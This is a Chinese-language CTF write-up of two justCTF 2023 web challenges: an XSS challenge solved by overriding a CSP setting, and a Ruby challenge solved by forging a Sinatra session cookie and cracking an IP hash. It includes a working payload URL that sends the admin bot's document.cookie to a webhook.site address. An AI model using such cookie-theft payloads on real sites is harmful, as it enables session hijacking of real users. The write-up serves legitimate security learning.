justctf2023-web
eXtra Safe Security layers
道题的考点是 xss和nodejs代码审计
首先他给了一个压缩包,是题目的源码
然后我们来进行分析
关键点在这
就是这里可以进行重新修改res.user
的值
然后res.user
的结构是这样的那么我们就可以修改
unmodifiable.background
和一个 unmodifiable.CSP
属性
然后又返回到这里,如果res.user.unmodifiable.CSP
不为空的话就返回它,如果为空就返回defaultCSP
讲了这么多,最关键的地方来了
这里的话会对我们的unmodifiable.background
进行渲染并且加载
结合之前我们知道的可以对 unmodifiable.background
和一个 unmodifiable.CSP
属性进行修改,然后左上角report
一下,让机器人去访问这个页面,就可以拿到这个admin页面的cookie了
- payload
http://xssl.web.jctf.pro/?text=hi&[unmodifiable][CSP]=a&[unmodifiable][background]=https://webhook.site/f202667e-9179-425d-80c1-fd62da5915d4?${document.cookie}
(国外的题目最好用这种接收http返回信息的网站,用国内vps的话会接收不到)
在这种情况下,这会将 document.cookie 发送到上面的 webhook。现在我们只需使用“报告为不当”按钮进行报告,服务器机器人就会访问此链接。机器人将通过 webhook 将 cookie 发送给我们:
成功加载我们构造的background
,然后report让机器人去访问
拿到flag
Dangerous(ruby)
这道题是考察ruby的 cookie伪造 和ip伪造
就是通过题目代码给的构造cookie
和ip
的模板,然后根据这个模板重新构造cookie
和ip
题目还是先给了一个文件,让我们来审计代码
首先我们来看一下这个获取flag的要求
这里话是判断username
和ip
满不满足条件,满足的话就会返回flag
然后看这里的前端代码 这里的reply是下面的样子,
和上述页面对应上了
这就是这个页面返回的结果 (并且还返回了admin的用户名)
但是我们得进行session的伪造,以为现在的session.user并不是janitor
点进去这个new thread
的时候会返回一堆信息
这里返回了一个最关键的信息就是cookie是咋样生成的,并且还给了生成cookie的secret
然后我们就可以进行伪造了
:coder=>#<Rack::Protection::EncryptedCookie::Marshal:0x00007ff401b9a530>}
根据这个模板来进行
1 | require 'sinatra' |
然后把cookie进行传参,就可以绕过第一个检测了
接下来我们就得看看ip怎么进行伪造了
就是这里的会对ip和id相加后进行加密后,然后截取
然后写个脚本来对这个ip进行破解
1 | require "digest" |
然后提交之后就会返回flag